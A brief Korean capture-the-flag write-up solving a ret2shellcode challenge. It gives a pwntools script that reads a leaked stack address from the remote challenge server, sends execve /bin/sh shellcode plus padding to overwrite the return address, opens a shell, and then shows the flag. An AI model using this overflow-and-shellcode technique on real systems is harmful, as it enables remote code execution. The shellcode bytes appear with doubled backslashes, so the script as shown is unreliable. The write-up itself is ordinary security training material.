Untitled

rsp
BUF[rbp-0x100]
sfp
ret
rbp

위 스택 구조에 맞게 Re2Shellcode 공격을 수행하면 된다.

from pwn import *

#p = process('./prob')
p = remote('prob.teamlog.kr',10001)
e = ELF('./prob')
context.arch = "amd64"
context.log_level = "debug"

#libc = e.libc

def slog(name, addr): return success(":".join([name,hex(addr)]))

p.sendafter("Do you know C?", b"Yes!")
p.recvuntil("Here's my gift: 0x")

leak = int(p.recv(12),16)

slog("leak",leak)

shellcode = b"\\x31\\xf6\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x56\\x53\\x54\\x5f\\x6a\\x3b\\x58\\x31\\xd2\\x0f\\x05"

payload = shellcode
payload += b'A'*(0x100-len(shellcode))
payload += b'B'*0x8
payload += p64(leak)

p.sendafter("Do you know pwnable?",payload)

p.interactive()

Untitled

FLAG : LOGCON{v3rY_ez_she1lc0d3}